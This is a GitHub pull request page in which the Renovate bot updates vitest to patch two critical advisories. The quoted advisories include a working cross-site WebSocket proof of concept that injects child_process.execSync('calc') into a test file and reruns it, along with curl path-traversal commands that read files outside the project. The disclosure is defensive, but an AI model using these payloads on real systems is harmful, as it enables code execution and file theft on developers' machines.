Skip to content

chore(deps): update dependency vitest to v3 [security]#12

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v3 [security]#12
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 4, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) ^2.0.0^3.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.3

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.2

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Feb 4, 2025

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 646fdc5

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@sourcery-ai

sourcery-ai Bot commented Feb 4, 2025

Copy link
Copy Markdown

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from version 2.0.5 to 2.1.9. This resolves a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution when accessing a malicious website while the Vitest API server is listening. The update involves changes in the pnpm-lock.yaml file to reflect the new version and its dependencies.

Sequence diagram showing the security vulnerability in Vitest 2.0.5

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as WebSocket Server
    participant VT as Vitest
    participant FS as File System

    Note over WS,VT: Vitest API server listening (api option enabled)
    Attacker->>MW: Access malicious website
    MW->>WS: Connect to WebSocket without Origin check
    MW->>WS: Call saveTestFile API
    WS->>FS: Inject malicious code into test file
    MW->>WS: Call rerun API
    WS->>VT: Execute test file
    VT->>FS: Execute injected malicious code
Loading

File-Level Changes

Change Details Files
Update vitest dependency to address CVE-2025-24964.
  • Updated vitest version from 2.0.5 to 2.1.9.
  • Updated dependencies related to esbuild, rollup, and other internal packages.
pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@sourcery-ai sourcery-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f1d557c to 0bfe74e Compare February 9, 2025 13:32
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0bfe74e to 1740e3b Compare March 3, 2025 15:44
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 215d3eb to 4d6e97a Compare March 17, 2025 17:03
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 4d6e97a to 3c22d5b Compare April 1, 2025 11:57
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3c22d5b to a26210e Compare April 8, 2025 14:24
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a26210e to 8bcaf20 Compare April 24, 2025 10:27
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8bcaf20 to 068bc8d Compare May 19, 2025 18:20
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 910f105 to 5f5a842 Compare June 4, 2025 07:06
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5f5a842 to c7fce7b Compare June 22, 2025 14:58
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c7fce7b to 90b4e4c Compare July 5, 2025 15:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from b731686 to 546a16c Compare August 13, 2025 13:40
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 546a16c to 9e4f319 Compare August 19, 2025 19:47
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9e4f319 to b66a5a4 Compare August 31, 2025 13:45
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b66a5a4 to 7a78f06 Compare September 25, 2025 21:33
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7a78f06 to 12e60b5 Compare October 21, 2025 16:36
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 12e60b5 to 789b934 Compare November 10, 2025 16:11
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 789b934 to 2922dce Compare November 18, 2025 10:40
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2922dce to debe84f Compare December 3, 2025 18:27
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from debe84f to 3471501 Compare December 31, 2025 12:45
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3471501 to 3253c30 Compare January 8, 2026 17:51
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 3456e56 to c4280c8 Compare January 23, 2026 17:15
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c4280c8 to 39097b3 Compare February 2, 2026 18:42
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 39097b3 to 1d68fd4 Compare February 17, 2026 16:37
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 1d68fd4 to fdfe416 Compare March 5, 2026 19:55
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-vitest-vulnerability branch March 27, 2026 02:10
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed chore(deps): update dependency vitest to v2.1.9 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from b89cf5c to 5916515 Compare April 1, 2026 20:34
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5916515 to f9b8ce6 Compare April 8, 2026 18:07
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] - autoclosed chore(deps): update dependency vitest to v2.1.9 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f9b8ce6 to 3a6fc6f Compare April 27, 2026 23:15
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from d202dba to 2819a81 Compare May 18, 2026 10:45
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 492de1f to 6bf25ed Compare June 1, 2026 23:12
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v4 [security] Jun 1, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 6bf25ed to 5bb57fd Compare June 8, 2026 17:03
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v4 [security] chore(deps): update dependency vitest to v2.1.9 [security] Jun 8, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5bb57fd to 646fdc5 Compare June 8, 2026 22:11
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v2.1.9 [security] chore(deps): update dependency vitest to v3 [security] Jun 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants